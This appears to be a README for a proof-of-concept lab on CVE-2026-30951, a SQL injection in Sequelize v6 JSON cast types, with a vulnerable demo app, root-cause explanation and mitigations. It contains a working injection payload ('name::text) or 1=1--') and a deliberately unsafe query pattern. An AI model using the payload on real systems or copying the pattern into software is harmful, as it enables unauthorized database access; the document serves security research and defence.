
Sequelize JSON Cast SQL Injection
★ CVE-2026-30951 Sequelize ORM SQL Injection PoC ★
https://github.com/user-attachments/assets/30b19211-890a-4780-acd9-04856ec98381
CVE-2026-30951 is a SQL Injection vulnerability in Sequelize v6, a widely used Node.js ORM.
The vulnerability exists in JSON/JSONB
whereclause processing. When Sequelize parses a JSON path key containing::, the value after::is treated as a SQL cast type and is inserted into the generated SQL without proper validation.If an attacker can control JSON object keys passed into a Sequelize
whereclause, they can manipulate the generated SQL query.
| Category | Version |
|---|---|
| Vulnerable | Sequelize v6.x <= 6.37.7 |
| Patched | Sequelize 6.37.8 |
| Not affected |
This repository contains a minimal vulnerable Node.js, Express, Sequelize, and SQLite challenge app.
npm install
npm start
The app starts on:
http://127.0.0.1:9100
docker build -t cve-2026-30951-sequelize-vuln .
docker run --rm -it -p 9100:9100 --name sequelize-vuln cve-2026-30951-sequelize-vuln
The Docker container starts on:
http://127.0.0.1:9100
After starting the vulnerable environment, follow the steps below to reproduce the injection.
POST /api/users/search
Content-Type: application/json
{
"filter": {
"name": "emma"
}
}
This returns only users matching the normal name search logic.
POST /api/users/search
Content-Type: application/json
{
"filter": {
"name::text) or 1=1--": "emma"
}
}
Expected result:
All user rows are returned.
The crafted JSON key causes Sequelize to generate a cast expression similar to:
CAST(json_extract(`User`.`metadata`, '$.name') AS TEXT) OR 1=1--)
Because the cast type is attacker-controlled, the OR 1=1 condition changes the intended WHERE clause behavior. Returning all rows from the same search endpoint confirms that SQL injection is possible.
The vulnerability is caused by insufficient validation of JSON cast types in Sequelize v6.
Internally, Sequelize's JSON traversal logic splits JSON path keys on :::
jsonKey::castType
The cast type is then used in generated SQL like:
CAST(<json_extract_expression> AS <cast_type>)
In vulnerable versions, <cast_type> is not safely escaped or restricted to a known-safe allowlist. This allows an attacker-controlled JSON key to break out of the cast expression and inject SQL.
Any application pattern similar to the following may be vulnerable when using affected Sequelize versions:
app.post('/api/users/search', async (req, res) => {
const users = await User.findAll({
where: {
metadata: req.body.filter
}
});
res.json(users);
});
This is dangerous because the attacker controls not only JSON values, but also JSON object keys.
This vulnerability is especially dangerous because many developers assume ORM query builders automatically protect against SQL injection. In this case, the injection happens inside ORM-generated SQL, after the application has already passed structured JavaScript objects to Sequelize.
Depending on the application logic, exploitation may allow:
This is fundamentally a CWE-89: Improper Neutralization of Special Elements used in an SQL Command issue.
+-------------------------------------------+
| Attacker |
+-------------------------------------------+
|
| Sends crafted JSON filter
| with malicious name:: key
v
+-------------------------------------------+
| POST /api/users/search |
+-------------------------------------------+
|
| Sequelize JSON where clause
| processes key containing ::
v
+-------------------------------------------+
| Unescaped SQL cast type injection |
+-------------------------------------------+
|
| Boolean condition manipulation
v
+-------------------------------------------+
| SQL Injection Confirmed |
+-------------------------------------------+
where clauses:: unless explicitly requiredconst allowedFilters = ['name', 'role', 'team', 'office', 'department'];
if (!allowedFilters.includes(req.body.field)) {
throw new Error('Invalid filter field');
}
This repository is intended for security research, defensive validation, and educational use in controlled environments only.
Do not use this PoC against systems you do not own or do not have explicit permission to test.
We publish CVE and malware analysis once a month. If you're interested, please follow the links below to check out our publications.
Sequelize v7 / @sequelize/core |